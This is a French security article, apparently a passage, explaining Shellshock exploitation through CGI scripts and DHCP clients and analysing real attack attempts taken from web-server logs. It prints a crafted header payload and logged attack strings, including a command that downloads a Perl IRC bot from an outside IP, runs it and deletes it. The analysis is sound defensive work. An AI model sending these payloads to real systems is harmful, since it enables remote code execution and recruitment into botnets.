Exploitation et conséquences

La conséquence est dévastatrice dans sa simplicité : tout programme accessible à distance dont l'une des fonctionnalités repose sur l'exécution d'un script shell, lorsque l'interpréteur de commandes utilisé est bash, permet à une personne malveillante d'exécuter des commandes shell à distance.

Privilèges d'accès

Il est important de comprendre que le code shell malveillant est exécuté dans le contexte de la cible concernée, et avec tous ses privilèges et droits d'accès au système support.

Si la cible est un serveur Web s'exécutant sous apache/apache (par exemple), les commandes malveillantes s'exécuteront sous apache/apache et pourront réaliser tout ce qui est autorisé à l'utilisateur apache. Pour poursuivre cet exemple, si les fichiers de votre serveur Web appartiennent à l'utilisateur apache, il est possible de les modifier.

Si la cible est un processus diposant de privilèges élevés (client DHCP qui, pour modifier la configuration de la carte réseau, s'exécute sous root), les commandes exécutées bénéficieront de ces privilèges.

Script CGI et serveurs Web

La première cible à laquelle on pense est un serveur Web dont certaines fonctions sont mises en oeuvre par des scripts CGI écrits en shell, toujours sous la contrainte que l'interpréteur de commandes utilisé soit bash. Imaginons par exemple qu'un script CGI, exécuté via bash, traite une requête reçue d'un navigateur. Nous avons donné au champ Cookie de l'en-tête HTTP la valeur Cookie:() { :; }; ping -c 3 1.2.3.4.

Dans le fonctionnement de l'interface entre le serveur et les script CGI, les champs d'en-tête reçus du navigateur sont transformés en variables d'environnement. Le champ Cookie devient donc la variable d'environnement COOKIE, laquelle vaut () { :; }; ping -c 3 1.2.3.4. Si le script CGI est exécuté par bash, la vulnérabilité Shellshock fait que la commande, dont il est bon de rappeller qu'elle est totalement sous le contrôle de l'agresseur, est exécutée.

Evidemment, les malveillants ne se limiteront pas à un ping. Voici ce que nous avons trouvé dans les journaux de serveurs Web depuis le 25 septembre :

[25/Sep/2014:19:49:51 +0200] "GET / HTTP/1.1" 403 202 "() { :; }; /bin/ping -c 1 a.b.c.d" "() { :; }; /bin/ping -c 1 a.b.c.d"
[29/Sep/2014:23:45:33 +0200] "GET /cgi-bin/hi HTTP/1.0" 403 212 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/ji ; perl /tmp/ji;rm -rf /tmp/ji\""
[30/Sep/2014:05:35:50 +0200] "GET /cgi-sys/php5 HTTP/1.1" 403 214 "-" "() { p4r4l4x;};echo \"Content-type: text/plain\"; echo; uname -a;"

Ci-dessus, les attaques passent par le champ User-Agent de l'en-tête HTTP, champ qui est généralement inclus dans la journalisation faite par le serveur. D'autres en-têtes (Cookie, Host, etc.) peuvent être utilisés, qui ne sont pas inclus dans la journalisation et ne laissent donc aucune trace.

Le premier  exemple n'est qu'un ping. S'il paraît inoffensif, c'est peut-être un premier test pour vérifier si le serveur est vulnérable et, le cas échéant, exécuter des commandes plus agressives.

Le troisième exemple correspond à l'exécution de la commande uname, qui affiche la version du noyau actif et quelques autres informations. Ce peut aussi n'être qu'un test préliminaire pour vérifier la présence de la vulnérabilité.

La seconde commande est plus intéressante :

• cd /tmp : se déplacer dans le répertoire /tmp
• wget http://213.5.67.223/ji : récupérer le fichier ji depuis l'adresse IP 213.5.67.223
• curl -O /tmp/ji http://213.5.67.223/ji : idem que précédemment.
• perl /tmp/ji : exécuter le script ji
• rm -rf /tmp/ji : puis l'effacer

La double récupération du script ji, via wget et curl, peut paraître étonnante. Il s'agit probablement d'une redondance ajoutée au cas où l'une des deux commandes (wget ou curl) ne soit pas disponible dans l'environnement cible.

Lorsque nous avons relevé ces traces, le serveur 213.5.67.223 ne répondait plus. Impossible de savoir ce que faisait le script ji. Il semble que c'était un client IRC.  Nous avons attendu une autre tentative, utilisant la même chaîne de commandes mais avec une adresse IP différente, pour récupérer le script ji. Il s'agit d'un zombie IRC, qui se connecte par défaut à ircd.w3h.co.uk et attend de recevoir des directives. Il dispose entre autres de fonctions d'énumération de ports (pour une cible indiquée via le canal IRC), de saturation TCP ou UDP et HTTP, d'une fonction de propagation en cherchant des vulnérabilités Mambo (précurseur de Joomla) et d'un reverse shell.

Ce n'est là, bien évidemment, qu'un exemple de ce qui est réalisé/tenté à travers la vulnérabilité Shellshock.

Client DHCP

Un serveur DHCP peut, dans les informations envoyées en réponse à une sollicitation, inclure l'option 114 (URL du serveur). Si cette option contient une structure permettant de déclencher la vulnérabilité Shellshock, et si le client DHCP utilise un bash vulnérable, les commandes seront exécutées sur le client.

Il est à noter que le client DHCP s'exécute le plus souvent avec les droits root sur la machine. Il n'y a donc que peu de restrictions quant à ce que le code malveillant peut exécuter.